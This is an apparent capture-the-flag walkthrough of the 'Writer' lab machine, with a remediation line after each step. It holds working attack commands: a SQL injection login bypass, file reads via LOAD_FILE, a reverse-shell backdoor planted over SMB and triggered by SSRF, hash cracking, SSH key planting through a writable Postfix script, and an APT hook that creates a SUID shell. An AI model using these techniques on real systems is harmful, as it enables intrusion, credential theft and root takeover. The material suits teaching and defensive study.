Writer
Summary
I enumerated a Flask-backed administrative login panel at writer.htb and bypassed authentication entirely using a SQL injection payload that required no knowledge of any valid password. The same injection point was then used with the database account's FILE privilege to read application source code byte-by-byte off the server's disk, recovering the first of three separate secrets the box hands over: a Flask configuration password that opens kyle's SMB share, the database account's own password from the Django settings file, and — cracked out of the user table that database account unlocked — the password kyle used for both the Django application and his shell.
Those SMB credentials unlocked a writable network share hosting an internal Django application that was otherwise isolated from external access; I replaced a Django view file with a reverse-shell payload and triggered a server-side request forgery built into the site's image-import feature, forcing the internal Django service to load and execute the backdoor as the www-data web user. From that shell, MySQL configuration credentials were read from a settings file, used to dump the Django user table, and the resulting password hash was resolved to kyle's SSH password, yielding an interactive shell and the user flag.
Lateral movement to a second account exploited kyle's membership in the Postfix filter group: a mail-processing script invoked as john on every local mail delivery was group-writable, so overwriting it and sending a local email pivoted code execution to john. John's management-group membership granted write access to the APT configuration directory; a periodic root-run apt-get update job provided the final code-execution primitive, with a malicious APT pre-invoke hook staged to fire on the next scheduled cycle and complete full root compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for djangouser>"
export PASSWORD3="<the-password-you-recovered, for kyle>"Some commands also carry a value in angle brackets — <your-public-key> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Identify open services and banner versions.
$ nmap -sV -p 22,80,139,445 $TARGETRegister the discovered virtual host for name resolution.
$ echo "$TARGET writer.htb" | sudo tee -a /etc/hostsConfirm the admin panel is reachable without credentials.
$ curl -s http://writer.htb/administrativeExact commands 3
Bypass authentication; the -c flag saves the session cookie to writer.cookie.
$ curl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=1-- -&password=x" -c writer.cookie -LFalse-condition probe to confirm boolean injection (should return the login page).
$ curl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=2-- -&password=x" | grep -c 'Login'Verify the authenticated dashboard is accessible with the saved cookie.
$ curl -s -b writer.cookie http://writer.htb/dashboardFixParameterize all SQL queries in the administrative loginCritical
Exact commands 2
Single-character boolean probe pattern: response containing 'dashboard' means the character matched. Automate across all positions and the printable ASCII range to extract the full file.
$ curl -s -X POST http://writer.htb/administrative --data-urlencode "uname=' OR SUBSTRING(LOAD_FILE('/var/www/writer.htb/writer/__init__.py'),1,1)='/'-- -" -d 'password=x' | grep -c 'dashboard'Automate the extraction loop; the script issues the boolean probe per character and reconstructs the file content.
$ python3 sqli_file_extract.py --url http://writer.htb/administrative --param uname --file /var/www/writer.htb/writer/__init__.pyFixRevoke the FILE privilege from the web application's database accountHigh
Exact commands 4
List available shares with the recovered credential.
$ smbclient -L //$TARGET/ -U "kyle%$PASSWORD"Download the full Django project source to inspect structure and ALLOWED_HOSTS settings.
$ smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'Overwrite views.py with a reverse-shell payload; views_rce.py is the local malicious file.
$ smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'put views_rce.py writer_web/views.py'Download the file back and confirm its hash matches the payload before triggering.
$ smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'get writer_web/views.py /tmp/verify.py' && sha256sum /tmp/verify.pyFixRemove write access to the internal application's SMB shareHigh
Exact commands 3
Start a listener to catch the reverse shell (run in a separate terminal).
$ nc -lvnp 4444Trigger the SSRF; substitute the correct internal Django port if different from 8080. The Flask app fetches the URL server-side, routing through the modified Django views.py.
$ curl -s -b writer.cookie -X POST http://writer.htb/dashboard/stories/add -F 'author=x' -F 'title=x' -F 'image_url=http://127.0.0.1:8080/' -F 'image=@/tmp/test.jpg'Verify the execution context on the received shell: expected uid=33(www-data) at /var/www/writer2_project.
$ id; whoami; pwd
uid=33(www-data) gid=33(www-data)FixValidate image-import URLs to block server-side request forgery to internal servicesHigh
Exact commands 4
Read MySQL credentials from the Django config as www-data.
$ grep -A 10 'DATABASES' /var/www/writer2_project/writerv2/settings.pyDump all user records and password hashes from the Django database.
$ mysql -u djangouser -p"$PASSWORD2" -D dev -e 'SELECT username,password FROM auth_user;'Crack the Django PBKDF2-SHA256 hash (-m 10000); resolves to $PASSWORD3.
$ hashcat -m 10000 kyle_hash.txt /usr/share/wordlists/rockyou.txtLog in as kyle and read the user flag.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null kyle@$TARGET 'id; cat /home/kyle/user.txt'
uid=1000(kyle)FixRemove hardcoded credentials from source files and stop sharing one password across accountsHigh
Exact commands 5
Confirm kyle is in the filter group; output should include 997(filter).
$ idConfirm group-write permission: -rwxrwxr-x 1 root filter.
$ ls -la /etc/postfix/disclaimerOverwrite the disclaimer with a key-planting payload; substitute your real RSA public key.
$ printf '#!/bin/bash\nmkdir -p /home/john/.ssh\necho "ssh-rsa AAAA<your-public-key>" >> /home/john/.ssh/authorized_keys\nchmod 600 /home/john/.ssh/authorized_keys\n' > /etc/postfix/disclaimerSend a local email to john to invoke the content_filter and execute the payload as john.
$ echo 'test' | mail -s 'trigger' john@writer.htbLog in as john using the planted SSH key.
$ ssh -i ~/.ssh/id_rsa john@$TARGETFixRemove group-write permission from the Postfix disclaimer content-filter scriptHigh
Exact commands 5
Confirm john is in the management group.
$ idVerify management group has write access to the APT configuration directory.
$ ls -la /etc/apt/apt.conf.d/Write the pre-invoke hook; fires on the next root-run apt-get update and creates a SUID bash copy.
$ echo 'APT::Update::Pre-Invoke {"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"};' > /etc/apt/apt.conf.d/01privescExecute the SUID bash with elevated privileges after the cron job fires.
$ /tmp/rootbash -pRead the root flag -> <root.txt>
$ cat /root/root.txtFixRemove management-group write access to the APT configuration directoryCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 139/tcp | netbios-ssn Samba smbd 4 |
| 445/tcp | netbios-ssn Samba smbd 4 |